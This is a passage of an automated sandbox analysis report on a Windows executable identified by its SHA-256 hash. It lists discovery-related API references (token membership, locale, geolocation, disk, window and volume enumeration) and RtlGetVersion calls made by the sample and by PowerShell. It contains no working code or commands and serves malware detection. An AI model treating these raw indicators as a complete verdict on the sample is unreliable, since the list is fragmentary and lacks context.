"GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")38:T67b,file/memory contains long string with (Indicator: "FreeSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CheckTokenMembership"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "AllocateAndInitializeSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001336-00000C2C-677135329") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001336-00000C2C-677135485") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001336-00000C2C-678526059") Found reference to API "CheckTokenMembershipW" (Indicator: "CheckTokenMembership"; Source: "00000000-00001336-00000C2C-678526083") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CheckTokenMembershipEx" (Indicator: "CheckTokenMembership"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")39:T9b7,Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserDefaultLocaleNameGetUserDefaultUILanguageGetVDMCurrentDirectoriesGetVolumeInformationA" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")3a:Ta77,file/memory contains long string with (Indicator: "GetDiskFreeSpace"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetDiskFreeSpaceEx"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows.GetDiskFreeSpaceEx" (Indicator: "GetDiskFreeSpace"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows.GetDiskFreeSpaceEx" (Indicator: "GetDiskFreeSpaceEx"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GlobalMemoryStatus" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")3b:T1090,Found reference to API "EnumDateFormatsAEnumDateFormatsWEnumSystemGeoID" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumTimeFormatsAEnumTimeFormatsWEnumUILanguagesAEnumUILanguagesWEraseTape" (Indicator: "EnumTimeFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetConsoleTitleAGetConsoleTitleWGetConsoleWindowGetCurrentActCtxGetCurrentThreadGetDateFormatA" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumDateFormatsExA" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumDateFormatsExEx" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumDateFormatsExW" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumTimeFormatsEx" (Indicator: "EnumTimeFormats"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDateFormatAWorker" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetDateFormatWWorker" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumDateFormatsA" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumDateFormatsW" (Indicator: "EnumDateFormats"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumTimeFormatsA" (Indicator: "EnumTimeFormats"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumTimeFormatsW" (Indicator: "EnumTimeFormats"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetDateFormatA" (Indicator: "GetDateFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetTimeFormatA" (Indicator: "GetTimeFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetTimeFormatAWorker" (Indicator: "GetTimeFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetTimeFormatWWorker" (Indicator: "GetTimeFormat"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")3c:T468,file/memory contains long string with (Indicator: "getaddrinfo"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetFullPathNameAGetFullPathNameWGetGeoInfoA" (Indicator: "getgeoinfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetGeoInfoEx" (Indicator: "getgeoinfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetGeoInfoW" (Indicator: "getgeoinfo"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetGeoInfoA" (Indicator: "getgeoinfo"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserGeoID" (Indicator: "getusergeoid"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")3d:Tea5,Found system information discovery API: "GetEnvironmentStringsW" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "GetSystemInfo" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "QuerySystemInformation (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "syscall.GetEnvironmentStrings" in file "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" Found system information discovery API: "GetSystemInfo" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp" Found system information discovery API: "GetSystemInfo" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "ExpandEnvironmentStringsA" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "GetEnabledXStateFeaturesGetEnvironmentStrings" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStringsA" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "GetNamedPipeHandleStateAGetNamedPipeHandleStateWGetNativeSystemInfo" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp" Found system information discovery API: "C:\WINDOWS\System32\WbemGetEnvironmentStringsW" in "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp" Found system information discovery API: "GetEnvironmentStrings" in "00000000-00003628.00000000.107958.2D680000.00000004.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00003628.00000000.107958.2D680000.00000004.mdmp"3e:T795,file/memory contains long string with (Indicator: "GetKeyboardLayout"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetUserPreferredUILanguages"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetUserPreferredUILanguages" (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetUserDefaultLocaleNameGetUserDefaultUILanguageGetVDMCurrentDirectoriesGetVolumeInformationA" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")3f:T840,file/memory contains long string with (Indicator: "enumwindows"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "enumchildwindows"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00001336-00000C2C-677978591") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00001336-00000C2C-677978614") Found reference to API "EnumChildWindowsEnumDesktopsA" (Indicator: "enumchildwindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "EnumWindowStationsA" (Indicator: "enumwindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumWindowStationsW" (Indicator: "enumwindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")40:T1c1a,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0aced44fe7f0000000000000000000051ed3647fe7f000000000000850100000000000000000000d430bd2d64810000000001001a00010070dd4747fe7f00008fec3647fe7f0000e0aced44fe7f0000e0aced44fe7f0000000000000000000000000000fe7f0000ffffff7fa519000000000000000000000000000000000000d8cee144fe7f00002a0000000000000069c39a44fe7f0000310000000000000048020000000000004c02000000000000110001100000000010f29f664e00000003a3ce46fe7f000010f29f664e00000000000000000000002b00000000000000000000000000000020b0a044fe7f0000b43f9f44fe7f0000e0cee144 (UID: 00000000-00003628) "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003628) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001336) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001336) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0aced44fe7f0000000000000000000051ed3647fe7f0000000000006b01000000000000000000008e4687ba696a00002a0000000000000050a223f56b0100008fec3647fe7f0000e0aced44fe7f0000e0aced44fe7f0000000000000000000000000000fe7f0000ffffff7ff8b5000000000000000000000000000000000000d8cee144fe7f00002a0000000000000069c39a44fe7f00003100000000000000c803000000000000cc03000000000000120001130000000050d73f3e0500000003a3ce46fe7f000050d73f3e0500000000000000000000002b00000000000000000000000000000020b0a044fe7f0000b43f9f44fe7f0000e0cee144 (UID: 00000000-00001336) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000001ff36b0100000b8e3447fe7f000000001ff36b01000002000000000000003800000000000000400000000000000030031ff36b01000058e0083f0500000001000000000000000300000000000000010000000000000016000000000000004026fff26b01000000000000000000000000fff26b0100000000e83d0500000000000000000000000000000001000000000000000000000080000000000000000400000000000000000000000000000078c42af56b01000004000000000000003800000000000000f098cd46fe7f000038000000000000003800000000000000d0e1083f05000000c00c6d0dfe7f000000000000 (UID: 00000000-00001336) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b09f35fe7f0000070000000000000000000000000000000100000000000000d0e21ff36b0100000000000000000000d08981f56b0100004c98cd46fe7f000050aa81f56b010000b3ce630dfe7f0000d08b81f56b010000004f9f35fe7f0000d0b09f35fe7f000000000000000000000000000000000000d08b81f56b010000d0e21ff36b01000040a581f56b01000028e2083f050000004c98cd46fe7f0000010000000000000028e2083f0500000040a581f56b010000d08b81f56b010000010000000000000002bc630dfe7f0000608c81f56b01000030c37ff56b010000feffffff040000007df09e35fe7f0000a0a581f5 (UID: 00000000-00001336) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000d0e21ff36b0100000000000000000000d08981f56b0100004c98cd46fe7f000050b081f56b010000b3ce630dfe7f0000308f81f56b010000384f9f35fe7f0000d0b09f35fe7f000000000000000000000000000000000000308f81f56b010000d0e21ff36b01000040a581f56b01000020e2083f050000004c98cd46fe7f0000010000000000000020e2083f0500000040a581f56b010000308f81f56b010000010000000000000002bc630dfe7f0000000000000000000030c37ff56b010000608c81f504000000feffffffffffffffd0e21ff36b0100007df09e35fe7f000000000000 (UID: 00000000-00001336) "svcctrl3249_1523.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007864)41:T1963,file/memory contains long string with (Indicator: "FindNextVolume"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindVolumeClose"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindFirstVolume"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetVolumePathName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetVolumeMountPoint"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindNextVolumeMountPoint"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FindVolumeMountPointClose"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetVolumePathNamesForVolumeName"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "FindFirstStreamWFindFirstVolumeAFindFirstVolumeWFindNLSString" (Indicator: "FindFirstVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeA" (Indicator: "FindNextVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstVolumeMountPointA" (Indicator: "FindFirstVolumeMountPoint"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstVolumeMountPointW" (Indicator: "FindFirstVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindFirstVolumeMountPointW" (Indicator: "FindFirstVolumeMountPoint"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeMountPointA" (Indicator: "FindNextVolume"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FindNextVolumeMountPointA" (Indicator: "FindNextVolumeMountPoint"; Source: 